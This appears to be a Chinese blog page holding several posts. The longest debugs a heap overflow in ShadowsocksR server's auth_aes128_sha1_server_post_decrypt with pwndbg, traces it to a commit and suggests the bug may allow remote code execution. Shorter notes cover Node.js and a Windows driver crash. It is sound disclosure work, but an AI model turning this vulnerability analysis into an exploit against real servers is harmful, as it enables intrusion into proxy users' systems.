7f9222144000-7f922215c000 r-xp 00000000 08:01 2360307                    /lib/x86_64-linux-gnu/libpthread-2.23.so
7f922215c000-7f922235b000 ---p 00018000 08:01 2360307                    /lib/x86_64-linux-gnu/libpthread-2.23.so
7f922235b000-7f922235c000 r--p 00017000 08:01 2360307                    /lib/x86_64-linux-gnu/libpthread-2.23.so
7f922235c000-7f922235d000 rw-p 00018000 08:01 2360307                    /lib/x86_64-linux-gnu/libpthread-2.23.so
7f922235d000-7f9222361000 rw-p 00000000 00:00 0
7f9222361000-7f9222469000 r-xp 00000000 08:01 2360271                    /lib/x86_64-linux-gnu/libm-2.23.so
7f9222469000-7f9222668000 ---p 00108000 08:01 2360271                    /lib/x86_64-linux-gnu/libm-2.23.so
7f9222668000-7f9222669000 r--p 00107000 08:01 2360271                    /lib/x86_64-linux-gnu/libm-2.23.so
7f9222669000-7f922266a000 rw-p 00108000 08:01 2360271                    /lib/x86_64-linux-gnu/libm-2.23.so
7f922266a000-7f9222690000 r-xp 00000000 08:01 2360219                    /lib/x86_64-linux-gnu/ld-2.23.so
7f9222883000-7f9222888000 rw-p 00000000 00:00 0
7f922288e000-7f922288f000 rw-p 00000000 00:00 0
7f922288f000-7f9222890000 r--p 00025000 08:01 2360219                    /lib/x86_64-linux-gnu/ld-2.23.so
7f9222890000-7f9222891000 rw-p 00026000 08:01 2360219                    /lib/x86_64-linux-gnu/ld-2.23.so
7f9222891000-7f9222892000 rw-p 00000000 00:00 0
7ffc3cda1000-7ffc3cdc2000 rw-p 00000000 00:00 0                          [stack]
7ffc3cdcd000-7ffc3cdcf000 r--p 00000000 00:00 0                          [vvar]
7ffc3cdcf000-7ffc3cdd1000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted

漏洞分析

上面ssr-server崩溃了,启动gdb调试分析

Program received signal SIGABRT, Aborted.
0x00007f73e2b11428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54	../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x6a
 RCX  0x7f73e2b11428 (raise+56) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x6
 RDI  0x29df
 RSI  0x29df
 R8   0xe
 R9   0x0
 R10  0x8
 R11  0x202
 R12  0x6a
 R13  0x7ffc850a6e08 ◂— 0x8000000000
 R14  0x7ffc850a6e08 ◂— 0x8000000000
 R15  0x2
 RBP  0x7ffc850a6ff0 —▸ 0x7ffc850a7040 ◂— '0000000002016d10'
 RSP  0x7ffc850a6c58 —▸ 0x7f73e2b1302a (abort+362) ◂— mov    rdx, qword ptr fs:[0x10]
 RIP  0x7f73e2b11428 (raise+56) ◂— cmp    rax, -0x1000 /* 'H=' */
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
 ► 0x7f73e2b11428 <raise+56>    cmp    rax, -0x1000
   0x7f73e2b1142e <raise+62>    ja     raise+96 <0x7f73e2b11450>

   0x7f73e2b11430 <raise+64>    ret

   0x7f73e2b11432 <raise+66>    nop    word ptr [rax + rax]
   0x7f73e2b11438 <raise+72>    test   ecx, ecx
   0x7f73e2b1143a <raise+74>    jg     raise+43 <0x7f73e2b1141b>
    ↓
   0x7f73e2b1141b <raise+43>    movsxd rdx, edi
   0x7f73e2b1141e <raise+46>    mov    eax, 0xea
   0x7f73e2b11423 <raise+51>    movsxd rdi, ecx
   0x7f73e2b11426 <raise+54>    syscall
 ► 0x7f73e2b11428 <raise+56>    cmp    rax, -0x1000
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7ffc850a6c58 —▸ 0x7f73e2b1302a (abort+362) ◂— mov    rdx, qword ptr fs:[0x10]
01:00080x7ffc850a6c60 ◂— 0x20 /* ' ' */
02:00100x7ffc850a6c68 ◂— 0x0
... ↓
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
 ► f 0     7f73e2b11428 raise+56
   f 1     7f73e2b1302a abort+362
   f 2     7f73e2b537ea
   f 3     7f73e2b5c37a _int_free+1578
   f 4     7f73e2b5c37a _int_free+1578
   f 5     7f73e2b6053c free+76
   f 6           433793 auth_aes128_sha1_server_post_decrypt+1866
   f 7           427ffa tunnel_cipher_server_decrypt+643
   f 8           42c446 do_handle_client_feedback+245
   f 9           42b84f do_next+550
   f 10           42ba3a tunnel_read_done+35
pwndbg> bt
#0  0x00007f73e2b11428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007f73e2b1302a in __GI_abort () at abort.c:89
#2  0x00007f73e2b537ea in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7f73e2c6ced8 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#3  0x00007f73e2b5c37a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>, str=0x7f73e2c6cf50 "free(): invalid next size (fast)", action=3) at malloc.c:5006
#4  _int_free (av=<optimized out>, p=<optimized out>, have_lock=0) at malloc.c:3867
#5  0x00007f73e2b6053c in __GI___libc_free (mem=<optimized out>) at malloc.c:2968
#6  0x0000000000433793 in auth_aes128_sha1_server_post_decrypt (obfs=0x2018420, buf=0x2017370, need_feedback=0x7ffc850a72a3) at /root/ssr-n/src/obfs/auth.c:1553
#7  0x0000000000427ffa in tunnel_cipher_server_decrypt (tc=0x200f430, buf=0x200f400, obfs_receipt=0x7ffc850a7310, proto_confirm=0x7ffc850a7318) at /root/ssr-n/src/ssr_executive.c:624
#8  0x000000000042c446 in do_handle_client_feedback (tunnel=0x1ff3dc0, incoming=0x1ffdc70) at /root/ssr-n/src/server/server.c:708
#9  0x000000000042b84f in do_next (tunnel=0x1ff3dc0, socket=0x1ffdc70) at /root/ssr-n/src/server/server.c:432
#10 0x000000000042ba3a in tunnel_read_done (tunnel=0x1ff3dc0, socket=0x1ffdc70) at /root/ssr-n/src/server/server.c:480
#11 0x000000000042a2f1 in socket_read_done_cb (handle=0x1ffdc90, nread=1757, buf=0x7ffc850a7430) at /root/ssr-n/src/tunnel.c:413
#12 0x000000000045ebb8 in uv__read (stream=0x1ffdc90) at /root/ssr-n/depends/libuv/src/unix/stream.c:1238
#13 0x000000000045ee79 in uv__stream_io (loop=0x1ff3160, w=0x1ffdd18, events=1) at /root/ssr-n/depends/libuv/src/unix/stream.c:1305
#14 0x000000000046469a in uv__io_poll (loop=0x1ff3160, timeout=300000) at /root/ssr-n/depends/libuv/src/unix/linux-core.c:421
#15 0x0000000000453cab in uv_run (loop=0x1ff3160, mode=UV_RUN_DEFAULT) at /root/ssr-n/depends/libuv/src/unix/core.c:375
#16 0x000000000042b122 in ssr_server_run_loop (config=0x1ff3060) at /root/ssr-n/src/server/server.c:251
#17 0x000000000042ae2d in main (argc=3, argv=0x7ffc850aaa58) at /root/ssr-n/src/server/server.c:170
#18 0x00007f73e2afc830 in __libc_start_main (main=0x42ac53 <main>, argc=3, argv=0x7ffc850aaa58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffc850aaa48) at ../csu/libc-start.c:291
#19 0x00000000004139d9 in _start ()

最近的触发点在/root/ssr-n/src/obfs/auth.cauth_aes128_sha1_server_post_decrypt,其出问题部分代码

image-20200428231326261

1553free内存时出错。

具体分析一下代码

// 给key分配内存,并将所有数据置零 
uint8_t *key = (uint8_t*) calloc(b64len + 1, sizeof(*key));
size_t key_len;

(void)in_data;
// 获取local_key长度
key_len = (size_t) std_base64_encode(local_key, (int)local_key_len, key);

// 将local->salt复制到key[key_len]之后的位置
memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));
key_len += strlen(local->salt);

bytes_to_key_with_size(key, key_len, enc_key, sizeof(enc_key));

ss_aes_128_cbc_decrypt(16, buffer_get_data(local->recv_buffer, NULL)+11, head, enc_key);

// 释放key
free(key);

上面把跟key有关的所有操作,都做了标注,其实我们细想就可以发现memmove很有可能会出现越界写的问题

memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));

如果越界足够长,就会覆盖接下来的堆块,造成释放时出现崩溃,我们来调试一下,验证我们的猜想

首先在auth.c:1541设下断点

pwndbg> b auth.c:1541
Breakpoint 1 at 0x433685: file /root/ssr-n/src/obfs/auth.c, line 1541.
pwndbg> r -c vps/configfiles/ssr/config_tls.json
// 省略部分输出
In file: /root/ssr-n/src/obfs/auth.c
   1536             uint8_t in_data[32 + 1] = { 0 };
   1537             size_t local_key_len = 0;
   1538             const uint8_t *local_key = buffer_get_data(local->user_key, &local_key_len);
   1539
   1540             size_t b64len = (size_t) std_base64_encode_len((int)local_key_len);
 ► 1541             uint8_t *key = (uint8_t*) calloc(b64len + 1, sizeof(*key));
   1542             size_t key_len;
   1543
   1544             (void)in_data;
   1545             key_len = (size_t) std_base64_encode(local_key, (int)local_key_len, key);
   1546             memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7ffc2b636f60 ◂— 0x0
01:00080x7ffc2b636f68 —▸ 0x7ffc2b637113 ◂— 0x688c800000000000
02:00100x7ffc2b636f70 —▸ 0x1688c80 ◂— 0x8be
03:00180x7ffc2b636f78 —▸ 0x168aba0 ◂— 0x0
04:00200x7ffc2b636f80 ◂— 0x0
05:00280x7ffc2b636f88 ◂— 0xaf141dd900000000
06:00300x7ffc2b636f90 —▸ 0x7ffc2b637030 —▸ 0x7ffc2b63a8c0 ◂— 0x3
07:00380x7ffc2b636f98 ◂— 0xd1bfed17a43e5a00
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
 ► f 0           433685 auth_aes128_sha1_server_post_decrypt+1596
   f 1           427ffa tunnel_cipher_server_decrypt+643
   f 2           42c446 do_handle_client_feedback+245
   f 3           42b84f do_next+550
   f 4           42ba3a tunnel_read_done+35
   f 5           42a2f1 socket_read_done_cb+399
   f 6           45ebb8 uv.read+1206
   f 7           45ee79 uv.stream_io+239
   f 8           46469a uv.io_poll+1926
   f 9           453cab uv_run+177
   f 10           42b122 ssr_server_run_loop+667
pwndbg> p b64len // *key的类型为uint8_t,所以分配的长度为46
$1 = 45

pwndbg> n
// 省略输出
pwndbg> x/46bx key  // key 分配成功
0x1689c70:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x1689c78:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x1689c80:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x1689c88:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x1689c90:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x1689c98:	0x00	0x00	0x00	0x00	0x00	0x00

继续执行,来到关键代码处

pwndbg> n
// 省略
In file: /root/ssr-n/src/obfs/auth.c
   1541             uint8_t *key = (uint8_t*) calloc(b64len + 1, sizeof(*key));
   1542             size_t key_len;
   1543
   1544             (void)in_data;
   1545             key_len = (size_t) std_base64_encode(local_key, (int)local_key_len, key);
 ► 1546             memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));
   1547             key_len += strlen(local->salt);
   1548
   1549             bytes_to_key_with_size(key, key_len, enc_key, sizeof(enc_key));
   1550
   1551             ss_aes_128_cbc_decrypt(16, buffer_get_data(local->recv_buffer, NULL)+11, head, enc_key);
// 省略
pwndbg> p key_len // 查看memmove起始位置
$2 = 44
pwndbg> p local->salt
$3 = 0x4ac19e "auth_aes128_sha1"
pwndbg> x/20bx local->salt // 如果长度过长,会发生越界写
0x4ac19e:	0x61	0x75	0x74	0x68	0x5f	0x61	0x65	0x73
0x4ac1a6:	0x31	0x32	0x38	0x5f	0x73	0x68	0x61	0x31
0x4ac1ae:	0x00	0x61	0x75	0x74

memmove执行之前来看一下内存及堆情况

pwndbg> heap
// 省略多个chunk输出
Allocated chunk
Addr: 0x168ef10
Size: 0x811

Allocated chunk
Addr: 0x168f720
Size: 0x1211

Allocated chunk
Addr: 0x1690930
Size: 0x811

Allocated chunk
Addr: 0x1691140
Size: 0x911

Allocated chunk
Addr: 0x1691a50
Size: 0x8e1

Top chunk
Addr: 0x1692330
Size: 0x4cd1 // top chunk的长度

pwndbg> x/46bx key // 在最后一个块中
0x1689c70:	0x4c	0x6b	0x73	0x2f	0x53	0x56	0x4f	0x64
0x1689c78:	0x54	0x41	0x38	0x74	0x46	0x32	0x30	0x48
0x1689c80:	0x49	0x55	0x4f	0x4e	0x39	0x47	0x49	0x36
0x1689c88:	0x37	0x2f	0x51	0x67	0x71	0x67	0x54	0x74
0x1689c90:	0x56	0x79	0x42	0x53	0x64	0x59	0x44	0x41
0x1689c98:	0x2b	0x36	0x73	0x3d	0x00	0x00

继续执行

0x43370e <auth_aes128_sha1_server_post_decrypt+1733>    mov    rax, qword ptr [rbp - 0x110]
   0x433715 <auth_aes128_sha1_server_post_decrypt+1740>    mov    rax, qword ptr [rax + 0x18]
   0x433719 <auth_aes128_sha1_server_post_decrypt+1744>    mov    rdi, rax
   0x43371c <auth_aes128_sha1_server_post_decrypt+1747>    call   strlen@plt <0x412d50>

   0x433721 <auth_aes128_sha1_server_post_decrypt+1752>    add    qword ptr [rbp - 0xd0], rax
   0x433728 <auth_aes128_sha1_server_post_decrypt+1759>    lea    rdx, [rbp - 0x90]
   0x43372f <auth_aes128_sha1_server_post_decrypt+1766>    mov    rsi, qword ptr [rbp - 0xd0]
   0x433736 <auth_aes128_sha1_server_post_decrypt+1773>    mov    rax, qword ptr [rbp - 0xd8]
   0x43373d <auth_aes128_sha1_server_post_decrypt+1780>    mov    ecx, 0x10
   0x433742 <auth_aes128_sha1_server_post_decrypt+1785>    mov    rdi, rax
   0x433745 <auth_aes128_sha1_server_post_decrypt+1788>    call   bytes_to_key_with_size <0x41e806>
──────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────
In file: /root/ssr-n/src/obfs/auth.c
   1542             size_t key_len;
   1543
   1544             (void)in_data;
   1545             key_len = (size_t) std_base64_encode(local_key, (int)local_key_len, key);
   1546             memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));
 ► 1547             key_len += strlen(local->salt);
   1548
   1549             bytes_to_key_with_size(key, key_len, enc_key, sizeof(enc_key));
   1550
   1551             ss_aes_128_cbc_decrypt(16, buffer_get_data(local->recv_buffer, NULL)+11, head, enc_key);
   1552
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7ffc2b636f60 ◂— 0x0
01:00080x7ffc2b636f68 —▸ 0x7ffc2b637113 ◂— 0x688c800000000000
02:00100x7ffc2b636f70 —▸ 0x1688c80 ◂— 0x8be
03:00180x7ffc2b636f78 —▸ 0x168aba0 ◂— 0x0
04:00200x7ffc2b636f80 ◂— 0x0
05:00280x7ffc2b636f88 ◂— 0xaf141dd900000000
06:00300x7ffc2b636f90 —▸ 0x7ffc2b637030 —▸ 0x7ffc2b63a8c0 ◂— 0x3
07:00380x7ffc2b636f98 ◂— 0xd1bfed17a43e5a00
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
 ► f 0           43370e auth_aes128_sha1_server_post_decrypt+1733
   f 1           427ffa tunnel_cipher_server_decrypt+643
   f 2           42c446 do_handle_client_feedback+245
   f 3           42b84f do_next+550
   f 4           42ba3a tunnel_read_done+35
   f 5           42a2f1 socket_read_done_cb+399
   f 6           45ebb8 uv.read+1206
   f 7           45ee79 uv.stream_io+239
   f 8           46469a uv.io_poll+1926
   f 9           453cab uv_run+177
   f 10           42b122 ssr_server_run_loop+667

再来看一下堆的情况

pwndbg> heap
// 省略多个chunk输出
Free chunk (fastbins)
Addr: 0x1689bc0
Size: 0x71
fd: 0x00

Allocated chunk
Addr: 0x1689c30
Size: 0x31

Allocated chunk
Addr: 0x1689c60
Size: 0x41

Free chunk (unsortedbin)
Addr: 0x1689ca0
Size: 0x31616873 // size被改写
fd: 0x7f73962bcb78
bk: 0x00

pwndbg> x/60bx key // key被改写后的长度
0x1689c70:	0x4c	0x6b	0x73	0x2f	0x53	0x56	0x4f	0x64
0x1689c78:	0x54	0x41	0x38	0x74	0x46	0x32	0x30	0x48
0x1689c80:	0x49	0x55	0x4f	0x4e	0x39	0x47	0x49	0x36
0x1689c88:	0x37	0x2f	0x51	0x67	0x71	0x67	0x54	0x74
0x1689c90:	0x56	0x79	0x42	0x53	0x64	0x59	0x44	0x41
0x1689c98:	0x2b	0x36	0x73	0x3d	0x61	0x75	0x74	0x68
0x1689ca0:	0x5f	0x61	0x65	0x73	0x31	0x32	0x38	0x5f
0x1689ca8:	0x73	0x68	0x61	0x31

pwndbg> x/20wx key
0x1689c70:	0x2f736b4c	0x644f5653	0x74384154	0x48303246
0x1689c80:	0x4e4f5549	0x36494739	0x67512f37	0x74546771
0x1689c90:	0x53427956	0x41445964	0x3d73362b	0x68747561
0x1689ca0:	0x7365615f	0x5f383231	0x31616873(size)	0x00000000
0x1689cb0:	0x962bcb78	0x00007f73	0x962bcb78	0x00007f73

到这里可以发现,memmove成功造成了堆越界写。

这个代码是啥时引入到库中的呢?通过gitlog可以发现其在507e009这个一天前的commit引入

image-20200429001505667

再来看看以前的代码为啥没有这个漏洞呢

struct buffer_t *key = buffer_create(b64len + 1);

(void)in_data;
key->len = (size_t) std_base64_encode(local_key, (int)local_key_len, key->buffer);
buffer_concatenate(key, (uint8_t *)local->salt, strlen(local->salt));

bytes_to_key_with_size(key->buffer, key->len, enc_key, sizeof(enc_key));

head = buffer_create(16);
head->len = 16;
ss_aes_128_cbc_decrypt(16, local->recv_buffer->buffer+11, head->buffer, enc_key);

buffer_release(key);

key的赋值是通过buffer_concatenate来完成的,来看看这个函数的具体实现

size_t buffer_concatenate(struct buffer_t *ptr, const uint8_t *data, size_t size) {
    size_t result = buffer_realloc(ptr, ptr->len + size); // 分配了足够的空间
    memmove(ptr->buffer + ptr->len, data, size);
    ptr->len += size;
    check_memory_content(ptr);
    return min(ptr->len, result);
}

它会调用buffer_realloc函数,对其超过自身长度的内存进行realloc,这样也就不存在越界写的问题了。

总结

调试完后,我们再来看看auth.c中的auth_aes128_sha1_server_post_decrypt函数,其中需要注意的,我已经做了标示

struct buffer_t * auth_aes128_sha1_server_post_decrypt(struct obfs_t *obfs, struct buffer_t *buf, bool *need_feedback) {
    struct server_info_t *server_info = &obfs->server_info; // 传入server_info
    struct buffer_t *out_buf = NULL;
    struct buffer_t *mac_key = NULL;
    uint8_t sha1data[SHA1_BYTES + 1] = { 0 };
    size_t length;
    bool sendback = false;
    auth_simple_local_data *local = (auth_simple_local_data*)obfs->l_data; //传入混淆数据
    buffer_concatenate2(local->recv_buffer, buf);
    out_buf = buffer_create(SSR_BUFF_SIZE);

    mac_key = buffer_create_from(server_info->recv_iv, server_info->recv_iv_len);
    buffer_concatenate(mac_key, server_info->key, server_info->key_len);

    if (local->has_recv_header == false) {
        uint32_t utc_time;
        uint32_t client_id;
        uint32_t connection_id;
        uint16_t rnd_len;
        int time_diff;
        uint32_t uid;
        char uid_str[32] = { 0 };
        const char *auth_key = NULL;
        bool is_multi_user = false;
        bool user_exist = false;

        uint8_t head[16] = { 0 };
        size_t len = buffer_get_length(local->recv_buffer);
        if ((len >= 7) || (len==2 || len==3)) {
            size_t recv_len = min(len, 7);
            struct buffer_t *_msg = buffer_create_from(buffer_get_data(local->recv_buffer, NULL), 1);
            local->hmac(sha1data, _msg, mac_key);
            buffer_release(_msg);
            if (memcmp(sha1data, buffer_get_data(local->recv_buffer, NULL)+1, recv_len - 1) != 0) {
                return auth_aes128_not_match_return(obfs, local->recv_buffer, need_feedback);
            }
        }
        if (buffer_get_length(local->recv_buffer) < 31) {
            if (need_feedback) { *need_feedback = false; }
            return buffer_create(1);
        }
        {
            struct buffer_t *_msg = buffer_create_from(buffer_get_data(local->recv_buffer, NULL)+7, 20);
            local->hmac(sha1data, _msg, mac_key);
            buffer_release(_msg);
        }
        if (memcmp(sha1data, buffer_get_data(local->recv_buffer, NULL)+27, 4) != 0) {
            // '%s data incorrect auth HMAC-SHA1 from %s:%d, data %s'
            if (buffer_get_length(local->recv_buffer) < (31 + local->extra_wait_size)) {
                if (need_feedback) { *need_feedback = false; }
                return buffer_create(1);
            }
            return auth_aes128_not_match_return(obfs, local->recv_buffer, need_feedback);
        }

        memcpy(local->uid, buffer_get_data(local->recv_buffer, NULL) + 7, 4);
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wstrict-aliasing"
        uid = (uint32_t) (*((uint32_t *)(local->uid))); // TODO: ntohl
#pragma GCC diagnostic pop
        sprintf(uid_str, "%d", (int)uid);

        if (obfs->audit_incoming_user) {
            user_exist = obfs->audit_incoming_user(obfs, uid_str, &auth_key, &is_multi_user);
        }
        if (user_exist) {
            uint8_t hash[SHA1_BYTES + 1] = { 0 };
            assert(is_multi_user);
            assert(auth_key);
            local->hash(hash, (const uint8_t*)auth_key, strlen(auth_key));
            buffer_store(local->user_key, hash, local->hash_len);
        } else {
            if (is_multi_user == false) {
                // user_key 最终来自于obfs->server_info
                buffer_store(local->user_key, server_info->key, server_info->key_len);
            } else {
                buffer_store(local->user_key, server_info->recv_iv, server_info->recv_iv_len);
            }
        }
        {
            uint8_t enc_key[16] = { 0 };
            uint8_t in_data[32 + 1] = { 0 };
            size_t local_key_len = 0;
            const uint8_t *local_key = buffer_get_data(local->user_key, &local_key_len);

            size_t b64len = (size_t) std_base64_encode_len((int)local_key_len);
            uint8_t *key = (uint8_t*) calloc(b64len + 1, sizeof(*key));
            size_t key_len;

            (void)in_data;
            key_len = (size_t) std_base64_encode(local_key, (int)local_key_len, key);
           // 同样来自于 struct obfs_t *obfs
            memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));
            key_len += strlen(local->salt);

            bytes_to_key_with_size(key, key_len, enc_key, sizeof(enc_key));

            ss_aes_128_cbc_decrypt(16, buffer_get_data(local->recv_buffer, NULL)+11, head, enc_key);

            free(key);
        }

可以发现所有的数据都来源于传入的参数struct obfs_t *obfs,只要能够控制它就控制了其他所有操作了。

所以我们只要能通过客户端的流量数据控制混淆的输入数据,那么就可以成功造成RCE

今天把这个调试完,有点晚了,回头我细看一下,看看能不能控制混淆的数据输入,能控制的话,那就是RCE,可能会影响很多梯子

目前修复办法:回滚不受影响版本

nodejs源码阅读中遇到的问题(系列总结,完善中。。。)

相关库

generic-pool 库

数据库连接池库,一开始就创建一沓数据库连接,并保持长连不断开。当我们需要访问数据库的时候,就去那一沓连接(俗称连接池)中拿来一个用,用完(对数据库增删改查完)后再把这条连接释放到连接池中(依然不断开)。这样我们只在一开始创建一沓数据库连接时会有一些开销,而这种开销总比频繁的创建和销毁连接小得多。

在 Node.js 中,我们可以使用 generic-pool 这个模块帮助我们创建和管理数据库连接池。

var Db = require('./db');
var markdown = require('markdown').markdown;
var poolModule = require('generic-pool');
var pool = poolModule.Pool({
  name     : 'mongoPool',
  create   : function(callback) {
    var mongodb = Db();
    mongodb.open(function (err, db) {
      callback(err, db);
    })
  },
  destroy  : function(mongodb) {
    mongodb.close();
  },
  max      : 100,
  min      : 5,
  idleTimeoutMillis : 30000,
  log      : true
});

backbone 用法

一个十分简化的MVC的nodejs后台框架

nodejs 后端相关技巧

nodejs 中避免header注入的方法

function htmlEscape(text){
	return text.replace(/[<>"&]/g, function(match){
		switch(match){
			case "<":return "&lt;";
			case ">":return "&gt;";
			case "&":return "&amp;";
			case "\"":return "&quot;";
		}
		return match;
	});
}
function responseHeaderEscape(text){
	return text.replace(/[\r\n]/g, function(match){
		switch(match){
			case '\n': return "%0a";
			case '\r': return "%0d";
		}
		return match;
	});
}

var username = req.param('user'),
		pass = req.param('pass'),
		op = req.param('op'),
		url = req.param('url');
	if (typeof url == 'string'){
		if (url[0] != '/'){
			url = null; // not a local location
		}else{
			url = htmlEscape(responseHeaderEscape(url)); // avoid http response header injection! and avoid html injection
		}
	}

服务器端验证和session设置

for (var i in users){
			var u = users[i];
			if (u.username == username && u.pass == pass){
				req.session.islogin = true;
				req.session.username = u.username;
				var level = {};
				for (var i in u.group){
					var groupName = u.group[i];
					if (groups[groupName]){
						level = _.extend(level, groups[groupName]);
					}
				}
				req.session.level = level;
				var resultText = ['login success with username:', username,'granted operations:',JSON.stringify(req.session.level)].join(' ');
				log.log(req, resultText);
				log.console(req, 'LOGIN', log.level.OK, resultText);
				break;
			}
		}

IoDeleteSymbolicLink遇到的问题

IoDeleteSymbolicLink遇到的问题

遇到问题

在学习NT driver过程中,遇到了一个比较奇怪的问题,在NTDDKUnload中,删除符号链接,出现蓝屏

DEVICE_EXTENSION结构

typedef struct _DEVICE_EXTENSION {
	PDEVICE_OBJECT pDevice;
	UNICODE_STRING ustrDeviceName;
	UNICODE_STRING ustrSymLinkName;
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;

创建设备和卸载设备代码,其中CreateDevice属性为INITCODENTDDKUnload属性为PAGEDCODE

#define PAGEDCODE code_seg("PAGE")
#define LOCKEDCODE code_seg()
#define INITCODE code_seg("INIT")
#define PAGEDDATA data_seg("PAGE")
#define LOCKEDDATA data_seg()
#define INITDATA data_seg("INIT")

#pragma INITCODE
NTSTATUS CreateDevice(
	IN PDRIVER_OBJECT	pDriverObject)
{
	// PAGED_CODE();
	NTSTATUS status;
	PDEVICE_OBJECT pDevObj;
	PDEVICE_EXTENSION pDevExt;

	UNICODE_STRING devName;
	RtlInitUnicodeString(&devName, L"\\Device\\MyDDKDevice");

	status = IoCreateDevice(pDriverObject,
		sizeof(DEVICE_EXTENSION),
		&devName,
		FILE_DEVICE_UNKNOWN,
		0, TRUE,
		&pDevObj);
	if (!NT_SUCCESS(status))
	{
		DbgPrint("CreateDevice Error...\n");
		return status;
	}
	pDevObj->Flags |= DO_BUFFERED_IO;
	pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
	pDevExt->pDevice = pDevObj;
	pDevExt->ustrDeviceName = devName;

	UNICODE_STRING symLinkName;
	RtlInitUnicodeString(&symLinkName, DOS_DEVICE_NAME);
	pDevExt->ustrSymLinkName = symLinkName;
	status = IoCreateSymbolicLink(&symLinkName, &devName);
	if (!NT_SUCCESS(status))
	{
		IoDeleteDevice(pDevObj);
		DbgPrint("Create SymbolicLink Error...\n");
		return status;
	}
	DbgPrint("CreateDevice successfully...\n");

	return STATUS_SUCCESS;
}

#pragma PAGEDCODE
VOID NTDDKUnload(IN PDRIVER_OBJECT pDriverObject)
{
	NTSTATUS status;
	PDEVICE_OBJECT	pNextObj;
	DbgPrint(("Enter DriverUnload\n"));
	pNextObj = pDriverObject->DeviceObject;
	UNICODE_STRING pLinkName;

	while (pNextObj != NULL)
	{
		PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)pNextObj->DeviceExtension;
		DbgPrint("ustrSymLinkName: %wZ\n", pDevExt->ustrSymLinkName);
		pLinkName = pDevExt->ustrSymLinkName;
		DbgPrint("Start delete symlinkname %wZ by pLinkName...\n", pLinkName);
		DbgPrint("Start delete symlinkname %wZ by ustrSymLinkName...\n", pDevExt->ustrSymLinkName);
		status = IoDeleteSymbolicLink(&pLinkName);
		// status = IoDeleteSymbolicLink(&(pDevExt->ustrSymLinkName));
		if (!NT_SUCCESS(status))
		{
			DbgPrint("Delete SymbolLink Error\n");
			goto finish;
		}
		pNextObj = pNextObj->NextDevice;
		IoDeleteDevice(pDevExt->pDevice);
	}

finish:
	DbgPrint("Leave DriverUnload\n");
}

这么写卸载设备的代码会出现蓝屏,具体错误

可以看到在调用IoDeleteSymbolicLink(&pLinkName)出错了。

测试问题

现在设置一个断点,在未发生异常前断下来

继续执行

可以看到edi存放的是DEVICE_OBJECT结构,ebx存放的是DEVICE_EXTENSION结构,现在来看看UNICODE_STRING中的数据

可以发现这块内存中的数据是无法访问的,如果用这里的数据去删除符号链接肯定会出错的。

解决问题

经过不断的查询资料和stackoverflow上提问得知是CreateDevice函数的问题。该函数的内存属性为PAGEDCODE,在调用完之后就会被释放

/* 
 * These compiler directives tell the Operating System how to load the
 * driver into memory. The "INIT" section is discardable as you only
 * need the driver entry upon initialization, then it can be discarded.
 *
 */

所以为了解决这个问题,代码这么设置

#pragma PAGECODE
NTSTATUS CreateDevice(
	IN PDRIVER_OBJECT	pDriverObject)
{
	// PAGED_CODE();
	NTSTATUS status;
	PDEVICE_OBJECT pDevObj;
	PDEVICE_EXTENSION pDevExt;

	UNICODE_STRING devName;
	RtlInitUnicodeString(&devName, L"\\Device\\MyDDKDevice");

	status = IoCreateDevice(pDriverObject,
		sizeof(DEVICE_EXTENSION),
		&devName,
		FILE_DEVICE_UNKNOWN,
		0, TRUE,
		&pDevObj);
	if (!NT_SUCCESS(status))
	{
		DbgPrint("CreateDevice Error...\n");
		return status;
	}
	pDevObj->Flags |= DO_BUFFERED_IO;
	pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
	pDevExt->pDevice = pDevObj;
	pDevExt->ustrDeviceName = devName;

	UNICODE_STRING symLinkName;
	RtlInitUnicodeString(&symLinkName, DOS_DEVICE_NAME);
	pDevExt->ustrSymLinkName = symLinkName;
	status = IoCreateSymbolicLink(&symLinkName, &devName);
	if (!NT_SUCCESS(status))
	{
		IoDeleteDevice(pDevObj);
		DbgPrint("Create SymbolicLink Error...\n");
